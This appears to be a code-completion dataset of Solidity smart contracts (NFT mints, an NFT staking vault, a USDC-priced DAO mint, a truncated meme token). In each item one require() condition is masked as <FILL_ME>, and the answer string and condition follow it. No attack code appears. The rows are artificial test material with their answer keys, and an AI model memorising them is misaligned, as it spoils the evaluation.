require(getIsWhitelisted(merkleProof), "Invalid Proof");
require(
totalSupply() + quantity <= MAX_WHITELIST_TX,
"Max whitelist supply reached"
);
require(totalSupply() + quantity <= MAX_SUPPLY, "Max supply reached");
require(<FILL_ME>)
require(
msg.value >= getSalePrice(msg.sender, quantity),
"Insufficient funds"
);
_mint(msg.sender, quantity);
}
function externalMint(uint256 quantity)
public
payable
virtual
nonReentrant
isUser
{
}
function getTotalMinted(address addr)
external
view
virtual
returns (uint256)
{
}
function setBaseURI(string memory newURI) external virtual onlyOwner {
}
function setPrerevealURI(string memory newURI) external virtual onlyOwner {
}
function setIsRevealed(bool isRevealed) external virtual onlyOwner {
}
function setSalePhase(SalePhase salePhase) external onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, ERC2981)
returns (bool)
{
}
function withdraw() external onlyOwner nonReentrant isUser {
}
function getSalePrice(address sender, uint256 quantity)
private
view
returns (uint256)
{
}
}
| _numberMinted(msg.sender)+quantity<=MAX_TX_PER_WALLET,"Max tx per wallet reached" | 88,430 | _numberMinted(msg.sender)+quantity<=MAX_TX_PER_WALLET |
"not your token" | pragma solidity 0.8.19;
interface IERC20Mintable is IERC20 {
function mint(address account, uint256 amount) external;
}
contract EBOTSTAKING is Ownable, IERC721Receiver, ReentrancyGuard {
using SafeERC20 for IERC20Mintable;
using SafeERC20 for IERC20;
modifier nonEmpty(uint256[] memory tokenIds) {
}
struct VaultInfo {
IERC721 nft;
IERC20Mintable token;
string name;
}
VaultInfo[] public vaultInfo;
// struct to store a stake's token, owner, and earning values
struct Stake {
uint128 tokenId;
uint64 timestamp;
address owner;
}
uint256 public _totalStaked;
uint256 public rewardRate = 100000 ether; // initial reward rate
mapping(uint256 => mapping(uint256 => Stake)) public vault;
mapping(uint256 => mapping(address => uint256)) public ownerBalances;
mapping(uint256 => mapping(address => uint256[])) private ownerTokens;
event VaultAdded(uint256 indexed vaultId, address indexed nft, address indexed token, string name);
event NFTStaked(address indexed owner, uint256 indexed tokenId, uint256 indexed timestamp);
event NFTUnstaked(address indexed owner, uint256 indexed tokenId, uint256 indexed timestamp);
event Claimed(address indexed owner, uint256 indexed amount);
// Allows the owner to update the reward rate
function setRewardRate(uint256 newRewardRate) external onlyOwner {
}
// Adds a new vault with the specified NFT and token contracts
function addVault(
IERC721 _nft,
IERC20Mintable _token,
string calldata _name
) public onlyOwner {
}
function removeVault(uint256 vaultId) external onlyOwner {
}
event VaultRemoved(uint256 indexed vaultId);
function stake(uint256 _pid, uint256[] calldata tokenIds) external nonEmpty(tokenIds) {
_totalStaked = _totalStaked + tokenIds.length;
VaultInfo storage vaultid = vaultInfo[_pid];
uint256 tokenId;
for (uint i = 0; i < tokenIds.length; i++) {
tokenId = tokenIds[i];
require(<FILL_ME>)
require(vault[_pid][tokenId].tokenId == 0, 'already staked');
vaultid.nft.transferFrom(msg.sender, address(this), tokenId);
emit NFTStaked(msg.sender, tokenId, block.timestamp);
vault[_pid][tokenId] = Stake({
owner: msg.sender,
tokenId: uint24(tokenId),
timestamp: uint48(block.timestamp)
});
// Update balance and token arrays for the owner
ownerBalances[_pid][msg.sender] += 1;
ownerTokens[_pid][msg.sender].push(tokenId);
}
}
function _unstakeMany(address account, uint256[] calldata tokenIds, uint256 _pid) internal nonEmpty(tokenIds) {
}
function _removeTokenId(uint256[] storage tokenArray, uint256 tokenId) internal {
}
function claim(uint256[] calldata tokenIds, uint256 _pid) external nonEmpty(tokenIds) nonReentrant {
}
function claimForAddress(address account, uint256[] calldata tokenIds, uint256 _pid) external onlyOwner nonEmpty(tokenIds) {
}
function unstake(uint256[] calldata tokenIds, uint256 _pid) external nonEmpty(tokenIds) {
}
function _claim(address account, uint256[] calldata tokenIds, uint256 _pid, bool _unstake) internal {
}
function earningInfo(uint256 _pid, uint256[] calldata tokenIds) external view returns (uint256) {
}
function balanceOf(address account, uint256 _pid) public view returns (uint256) {
}
function tokensOfOwner(address account, uint256 _pid) public view returns (uint256[] memory) {
}
// Updates the vault with the specified NFT and token contracts
function updateVault(
uint256 vaultId,
IERC721 _nft,
IERC20Mintable _token,
string calldata _name
) external onlyOwner {
}
function setStakableNFT(uint256 vaultId, IERC721 _nft) external onlyOwner {
}
function rescueTokens(IERC20 token, address recipient, uint256 amount) external onlyOwner {
}
function onERC721Received(
address operator,
address,
uint256,
bytes calldata
) external view override returns (bytes4) {
}
}
| vaultid.nft.ownerOf(tokenId)==msg.sender,"not your token" | 88,461 | vaultid.nft.ownerOf(tokenId)==msg.sender |
'already staked' | pragma solidity 0.8.19;
interface IERC20Mintable is IERC20 {
function mint(address account, uint256 amount) external;
}
contract EBOTSTAKING is Ownable, IERC721Receiver, ReentrancyGuard {
using SafeERC20 for IERC20Mintable;
using SafeERC20 for IERC20;
modifier nonEmpty(uint256[] memory tokenIds) {
}
struct VaultInfo {
IERC721 nft;
IERC20Mintable token;
string name;
}
VaultInfo[] public vaultInfo;
// struct to store a stake's token, owner, and earning values
struct Stake {
uint128 tokenId;
uint64 timestamp;
address owner;
}
uint256 public _totalStaked;
uint256 public rewardRate = 100000 ether; // initial reward rate
mapping(uint256 => mapping(uint256 => Stake)) public vault;
mapping(uint256 => mapping(address => uint256)) public ownerBalances;
mapping(uint256 => mapping(address => uint256[])) private ownerTokens;
event VaultAdded(uint256 indexed vaultId, address indexed nft, address indexed token, string name);
event NFTStaked(address indexed owner, uint256 indexed tokenId, uint256 indexed timestamp);
event NFTUnstaked(address indexed owner, uint256 indexed tokenId, uint256 indexed timestamp);
event Claimed(address indexed owner, uint256 indexed amount);
// Allows the owner to update the reward rate
function setRewardRate(uint256 newRewardRate) external onlyOwner {
}
// Adds a new vault with the specified NFT and token contracts
function addVault(
IERC721 _nft,
IERC20Mintable _token,
string calldata _name
) public onlyOwner {
}
function removeVault(uint256 vaultId) external onlyOwner {
}
event VaultRemoved(uint256 indexed vaultId);
function stake(uint256 _pid, uint256[] calldata tokenIds) external nonEmpty(tokenIds) {
_totalStaked = _totalStaked + tokenIds.length;
VaultInfo storage vaultid = vaultInfo[_pid];
uint256 tokenId;
for (uint i = 0; i < tokenIds.length; i++) {
tokenId = tokenIds[i];
require(vaultid.nft.ownerOf(tokenId) == msg.sender, "not your token");
require(<FILL_ME>)
vaultid.nft.transferFrom(msg.sender, address(this), tokenId);
emit NFTStaked(msg.sender, tokenId, block.timestamp);
vault[_pid][tokenId] = Stake({
owner: msg.sender,
tokenId: uint24(tokenId),
timestamp: uint48(block.timestamp)
});
// Update balance and token arrays for the owner
ownerBalances[_pid][msg.sender] += 1;
ownerTokens[_pid][msg.sender].push(tokenId);
}
}
function _unstakeMany(address account, uint256[] calldata tokenIds, uint256 _pid) internal nonEmpty(tokenIds) {
}
function _removeTokenId(uint256[] storage tokenArray, uint256 tokenId) internal {
}
function claim(uint256[] calldata tokenIds, uint256 _pid) external nonEmpty(tokenIds) nonReentrant {
}
function claimForAddress(address account, uint256[] calldata tokenIds, uint256 _pid) external onlyOwner nonEmpty(tokenIds) {
}
function unstake(uint256[] calldata tokenIds, uint256 _pid) external nonEmpty(tokenIds) {
}
function _claim(address account, uint256[] calldata tokenIds, uint256 _pid, bool _unstake) internal {
}
function earningInfo(uint256 _pid, uint256[] calldata tokenIds) external view returns (uint256) {
}
function balanceOf(address account, uint256 _pid) public view returns (uint256) {
}
function tokensOfOwner(address account, uint256 _pid) public view returns (uint256[] memory) {
}
// Updates the vault with the specified NFT and token contracts
function updateVault(
uint256 vaultId,
IERC721 _nft,
IERC20Mintable _token,
string calldata _name
) external onlyOwner {
}
function setStakableNFT(uint256 vaultId, IERC721 _nft) external onlyOwner {
}
function rescueTokens(IERC20 token, address recipient, uint256 amount) external onlyOwner {
}
function onERC721Received(
address operator,
address,
uint256,
bytes calldata
) external view override returns (bytes4) {
}
}
| vault[_pid][tokenId].tokenId==0,'already staked' | 88,461 | vault[_pid][tokenId].tokenId==0 |
"Only for SBFC members. Join the Club!" | // OpenZeppelin Contracts (last updated v4.8.0) (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
}
/**
* @dev See {ERC721-_beforeTokenTransfer}.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 firstTokenId,
uint256 batchSize
) internal virtual override {
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
}
}
// SBFC
pragma solidity ^0.8.9;
interface NFTContract {
function ownerOf(uint256 tokenId) external view returns (address owner);
function balanceOf(address owner) external view returns (uint256 balance);
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (uint256 tokenId);
}
interface USDCContract {
function allowance(address owner, address spender)
external
view
returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
contract ALLBLUEDAO is ERC721, ERC721Enumerable, Ownable {
using Strings for uint256;
uint256 public USDCAMOUNT = 1000 * 10**6; //1000 USDC
uint256 private constant TotalCollectionSize = 5000;
string private _baseTokenURI;
string private _URIExtension = ".json";
NFTContract private nftContract;
USDCContract private usdcContract;
constructor(
string memory _baseUri,
address sbfcContractAddress,
address usdcContractAddress
) ERC721("All Blue DAO", "ABD") {
}
function mintNft(address _user, uint256 quantity) external {
uint256 totalNft = totalSupply();
require(<FILL_ME>)
require(
usdcContract.allowance(msg.sender, address(this)) >=
quantity * USDCAMOUNT,
"Please allow this contract to transfer USDC"
);
require(
usdcContract.transferFrom(
msg.sender,
address(this),
quantity * USDCAMOUNT
),
"Get some USDC"
);
require(
totalNft + quantity <= TotalCollectionSize,
"Sold Out!"
);
for (uint256 i = 1; i <= quantity; i++) {
_safeMint(_user, totalNft + i);
}
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) external onlyOwner {
}
function setUsdcAmount(uint256 _USDCAMOUNT) external onlyOwner {
}
function setNftContract(NFTContract _address) external onlyOwner {
}
function setUSDCcontract(USDCContract _address) external onlyOwner {
}
function probablyNothing() external onlyOwner {
}
function Fundtransfer(
USDCContract _tokenAddress,
address _user,
uint256 _amount
) external onlyOwner {
}
function getAllNftsUserHave(address _user)
public
view
returns (uint256[] memory)
{
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId,
uint256 batchSize
) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| nftContract.balanceOf(msg.sender)>=1,"Only for SBFC members. Join the Club!" | 88,477 | nftContract.balanceOf(msg.sender)>=1 |
"Please allow this contract to transfer USDC" | // OpenZeppelin Contracts (last updated v4.8.0) (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
}
/**
* @dev See {ERC721-_beforeTokenTransfer}.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 firstTokenId,
uint256 batchSize
) internal virtual override {
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
}
}
// SBFC
pragma solidity ^0.8.9;
interface NFTContract {
function ownerOf(uint256 tokenId) external view returns (address owner);
function balanceOf(address owner) external view returns (uint256 balance);
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (uint256 tokenId);
}
interface USDCContract {
function allowance(address owner, address spender)
external
view
returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
contract ALLBLUEDAO is ERC721, ERC721Enumerable, Ownable {
using Strings for uint256;
uint256 public USDCAMOUNT = 1000 * 10**6; //1000 USDC
uint256 private constant TotalCollectionSize = 5000;
string private _baseTokenURI;
string private _URIExtension = ".json";
NFTContract private nftContract;
USDCContract private usdcContract;
constructor(
string memory _baseUri,
address sbfcContractAddress,
address usdcContractAddress
) ERC721("All Blue DAO", "ABD") {
}
function mintNft(address _user, uint256 quantity) external {
uint256 totalNft = totalSupply();
require(
nftContract.balanceOf(msg.sender) >= 1,
"Only for SBFC members. Join the Club!"
);
require(<FILL_ME>)
require(
usdcContract.transferFrom(
msg.sender,
address(this),
quantity * USDCAMOUNT
),
"Get some USDC"
);
require(
totalNft + quantity <= TotalCollectionSize,
"Sold Out!"
);
for (uint256 i = 1; i <= quantity; i++) {
_safeMint(_user, totalNft + i);
}
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) external onlyOwner {
}
function setUsdcAmount(uint256 _USDCAMOUNT) external onlyOwner {
}
function setNftContract(NFTContract _address) external onlyOwner {
}
function setUSDCcontract(USDCContract _address) external onlyOwner {
}
function probablyNothing() external onlyOwner {
}
function Fundtransfer(
USDCContract _tokenAddress,
address _user,
uint256 _amount
) external onlyOwner {
}
function getAllNftsUserHave(address _user)
public
view
returns (uint256[] memory)
{
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId,
uint256 batchSize
) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| usdcContract.allowance(msg.sender,address(this))>=quantity*USDCAMOUNT,"Please allow this contract to transfer USDC" | 88,477 | usdcContract.allowance(msg.sender,address(this))>=quantity*USDCAMOUNT |
"Get some USDC" | // OpenZeppelin Contracts (last updated v4.8.0) (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
}
/**
* @dev See {ERC721-_beforeTokenTransfer}.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 firstTokenId,
uint256 batchSize
) internal virtual override {
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
}
}
// SBFC
pragma solidity ^0.8.9;
interface NFTContract {
function ownerOf(uint256 tokenId) external view returns (address owner);
function balanceOf(address owner) external view returns (uint256 balance);
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (uint256 tokenId);
}
interface USDCContract {
function allowance(address owner, address spender)
external
view
returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
contract ALLBLUEDAO is ERC721, ERC721Enumerable, Ownable {
using Strings for uint256;
uint256 public USDCAMOUNT = 1000 * 10**6; //1000 USDC
uint256 private constant TotalCollectionSize = 5000;
string private _baseTokenURI;
string private _URIExtension = ".json";
NFTContract private nftContract;
USDCContract private usdcContract;
constructor(
string memory _baseUri,
address sbfcContractAddress,
address usdcContractAddress
) ERC721("All Blue DAO", "ABD") {
}
function mintNft(address _user, uint256 quantity) external {
uint256 totalNft = totalSupply();
require(
nftContract.balanceOf(msg.sender) >= 1,
"Only for SBFC members. Join the Club!"
);
require(
usdcContract.allowance(msg.sender, address(this)) >=
quantity * USDCAMOUNT,
"Please allow this contract to transfer USDC"
);
require(<FILL_ME>)
require(
totalNft + quantity <= TotalCollectionSize,
"Sold Out!"
);
for (uint256 i = 1; i <= quantity; i++) {
_safeMint(_user, totalNft + i);
}
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) external onlyOwner {
}
function setUsdcAmount(uint256 _USDCAMOUNT) external onlyOwner {
}
function setNftContract(NFTContract _address) external onlyOwner {
}
function setUSDCcontract(USDCContract _address) external onlyOwner {
}
function probablyNothing() external onlyOwner {
}
function Fundtransfer(
USDCContract _tokenAddress,
address _user,
uint256 _amount
) external onlyOwner {
}
function getAllNftsUserHave(address _user)
public
view
returns (uint256[] memory)
{
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId,
uint256 batchSize
) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| usdcContract.transferFrom(msg.sender,address(this),quantity*USDCAMOUNT),"Get some USDC" | 88,477 | usdcContract.transferFrom(msg.sender,address(this),quantity*USDCAMOUNT) |
"Sold Out!" | // OpenZeppelin Contracts (last updated v4.8.0) (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
}
/**
* @dev See {ERC721-_beforeTokenTransfer}.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 firstTokenId,
uint256 batchSize
) internal virtual override {
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
}
}
// SBFC
pragma solidity ^0.8.9;
interface NFTContract {
function ownerOf(uint256 tokenId) external view returns (address owner);
function balanceOf(address owner) external view returns (uint256 balance);
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (uint256 tokenId);
}
interface USDCContract {
function allowance(address owner, address spender)
external
view
returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
contract ALLBLUEDAO is ERC721, ERC721Enumerable, Ownable {
using Strings for uint256;
uint256 public USDCAMOUNT = 1000 * 10**6; //1000 USDC
uint256 private constant TotalCollectionSize = 5000;
string private _baseTokenURI;
string private _URIExtension = ".json";
NFTContract private nftContract;
USDCContract private usdcContract;
constructor(
string memory _baseUri,
address sbfcContractAddress,
address usdcContractAddress
) ERC721("All Blue DAO", "ABD") {
}
function mintNft(address _user, uint256 quantity) external {
uint256 totalNft = totalSupply();
require(
nftContract.balanceOf(msg.sender) >= 1,
"Only for SBFC members. Join the Club!"
);
require(
usdcContract.allowance(msg.sender, address(this)) >=
quantity * USDCAMOUNT,
"Please allow this contract to transfer USDC"
);
require(
usdcContract.transferFrom(
msg.sender,
address(this),
quantity * USDCAMOUNT
),
"Get some USDC"
);
require(<FILL_ME>)
for (uint256 i = 1; i <= quantity; i++) {
_safeMint(_user, totalNft + i);
}
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) external onlyOwner {
}
function setUsdcAmount(uint256 _USDCAMOUNT) external onlyOwner {
}
function setNftContract(NFTContract _address) external onlyOwner {
}
function setUSDCcontract(USDCContract _address) external onlyOwner {
}
function probablyNothing() external onlyOwner {
}
function Fundtransfer(
USDCContract _tokenAddress,
address _user,
uint256 _amount
) external onlyOwner {
}
function getAllNftsUserHave(address _user)
public
view
returns (uint256[] memory)
{
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId,
uint256 batchSize
) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| totalNft+quantity<=TotalCollectionSize,"Sold Out!" | 88,477 | totalNft+quantity<=TotalCollectionSize |
"One week cooldown." | // SPDX-License-Identifier: MIT
/*
WELCOME TO TOSKA MUSK TOKEN, MOTHERS DAY RELATED TOKEN, ELON TWEET !
*/
pragma solidity 0.8.7;
abstract contract Context {
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
